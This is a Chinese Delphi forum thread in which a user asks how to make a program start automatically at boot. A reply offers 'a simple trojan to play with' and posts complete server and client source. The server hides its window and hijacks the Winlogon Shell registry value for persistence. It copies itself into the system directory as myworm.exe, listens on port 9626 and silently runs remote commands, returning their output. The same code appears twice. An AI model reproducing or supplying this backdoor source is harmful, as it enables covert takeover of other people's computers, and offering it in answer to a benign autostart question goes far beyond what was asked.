自动登录到系统 我做的一个系统.用户可以设置:"每次系统启动时运行此系统";想实现每次开机时自动运行系统.该如何实现?????? 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 自动运行,只要在注册表里,runonce写上记录就可以了 //给你一个简单木马玩玩,里面有你要的东西//这是木马服务器()unit UFmMain;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdTCPConnection, IdTCPClient, IdBaseComponent, IdComponent, IdTCPServer,Registry, ScktComp, StdCtrls;type TFmMain = class(TForm) ss: TServerSocket; Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure ssAccept(Sender: TObject; Socket: TCustomWinSocket); procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end;var FmMain: TFmMain; Reg:TRegistry;implementation{$R *.dfm}procedure TFmMain.FormCreate(Sender: TObject);varsysdir:array[0..50] of char;begin Application.ShowMainForm:=False; FmMain.Left:=-200; //运行不显示窗口 reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true); if reg.ReadString('Shell')<> 'Explorer.exe myworm.exe' then reg.WriteString('Shell','Explorer.exe myworm.exe'); //建立开机启动项 reg.Free; GetSystemDirectory(sysdir,50); if not FileExists(sysdir+'\myworm.exe') then copyfile(Pchar(Application.exeName),pchar(sysdir+'\myworm.exe'),true); SS.Port:=9626; try SS.Active:=True; except end;end;procedure TFmMain.ssAccept(Sender: TObject; Socket: TCustomWinSocket);begin Socket.SendText('连接成功!');end;procedure TFmMain.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);varRemoteCmd:string;hReadPipe,hWritePipe:THandle;si:STARTUPINFO;lsa:SECURITY_ATTRIBUTES;pi:PROCESS_INFORMATION;cchReadBuffer:DWORD;ph:PChar;fname:PChar;//res:string;begin Memo1.Clear; remotecmd:=Socket.ReceiveText; fname:=allocmem(255); ph:=AllocMem(5000); lsa.nLength :=sizeof(SECURITY_ATTRIBUTES); lsa.lpSecurityDescriptor :=nil; lsa.bInheritHandle :=True; if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then begin socket.SendText('不能创建管道'); exit; end; fillchar(si,sizeof(STARTUPINFO),0); si.cb:=sizeof(STARTUPINFO); si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW); si.wShowWindow:=SW_HIDE; si.hStdOutput:=hWritePipe; StrPCopy(fname,remotecmd); /////执行CMD命令//// if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then begin socket.SendText('不能创建进程'); FreeMem(ph); FreeMem(fname); Exit; end; while(true) do begin if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break; if cchReadBuffer<>0 then begin if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break; ph[cchReadbuffer]:=chr(0); Memo1.Lines.Add(ph); end else if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break; Sleep(100); end; ph[cchReadBuffer]:=chr(0); Memo1.Lines.Add(ph); //memo接收回显 CloseHandle(hReadPipe); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(hWritePipe); FreeMem(ph); FreeMem(fname); socket.SendText(Memo1.Text); ///将回显发送回客户端end;end.//木马客户端unit UtMain;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IPEdit, IdTCPServer, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, Registry, ScktComp, OleCtrls, SHDocVw;type TFmMain = class(TForm) Label1: TLabel; Label2: TLabel; IPEdit1: TIPEdit; Edit1: TEdit; Button1: TButton; Edit2: TEdit; Label3: TLabel; Button2: TButton; Memo1: TMemo; cs: TClientSocket; ServerSocket1: TServerSocket; procedure Button1Click(Sender: TObject); procedure csRead(Sender: TObject; Socket: TCustomWinSocket); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end;var FmMain: TFmMain; Reg:TRegistry;implementation{$R *.dfm}procedure TFmMain.Button1Click(Sender: TObject);begin CS.Host:=IPEdit1.IPString; CS.Port:=StrToInt(Edit1.Text); CS.Open;end;procedure TFmMain.csRead(Sender: TObject; Socket: TCustomWinSocket);begin Memo1.Clear; Memo1.Lines.Add(Socket.ReceiveText); Memo1.Lines.Add('');end;procedure TFmMain.Button2Click(Sender: TObject);begin CS.Socket.SendText(edit2.Text);end;end. 请问高淫们CSDN 有没有自动编译功能?偶会不会中楼上滴木马? 有关两个Access数据库表的字段比较问题 适时显示adodataset的recordcount,写在哪个事件里好? 各位大哥哥告诉我Delphi入门打基础买什么书 安装第三方控件的问题 用wise installer 9.02制作的安装程序有问题 delphi6 connecting..... mysql ? 如何控制生成word文档得格式信息 Delphi 的奇异之处!!!送100分,大家来看看!!!! 请教各位高手一个极为简单的问题! SQL中bit字节在delphi中使用何种控件? TMemorystream 超级问题 回答正确者 颁发诺贝尔Delphi奖 csv文件的操作问题
//这是木马服务器()
unit UFmMain;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdTCPConnection, IdTCPClient, IdBaseComponent, IdComponent,
IdTCPServer,Registry, ScktComp, StdCtrls;type
TFmMain = class(TForm)
ss: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure ssAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;var
FmMain: TFmMain;
Reg:TRegistry;implementation{$R *.dfm}procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe myworm.exe' then
reg.WriteString('Shell','Explorer.exe myworm.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\myworm.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\myworm.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;end;procedure TFmMain.ssAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功!');
end;procedure TFmMain.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
//res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端end;end.//木马客户端
unit UtMain;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IPEdit, IdTCPServer, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, Registry, ScktComp, OleCtrls, SHDocVw;type
TFmMain = class(TForm)
Label1: TLabel;
Label2: TLabel;
IPEdit1: TIPEdit;
Edit1: TEdit;
Button1: TButton;
Edit2: TEdit;
Label3: TLabel;
Button2: TButton;
Memo1: TMemo;
cs: TClientSocket;
ServerSocket1: TServerSocket;
procedure Button1Click(Sender: TObject);
procedure csRead(Sender: TObject; Socket: TCustomWinSocket);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
FmMain: TFmMain;
Reg:TRegistry;implementation{$R *.dfm}procedure TFmMain.Button1Click(Sender: TObject);
begin
CS.Host:=IPEdit1.IPString;
CS.Port:=StrToInt(Edit1.Text);
CS.Open;
end;procedure TFmMain.csRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Socket.SendText(edit2.Text);
end;end.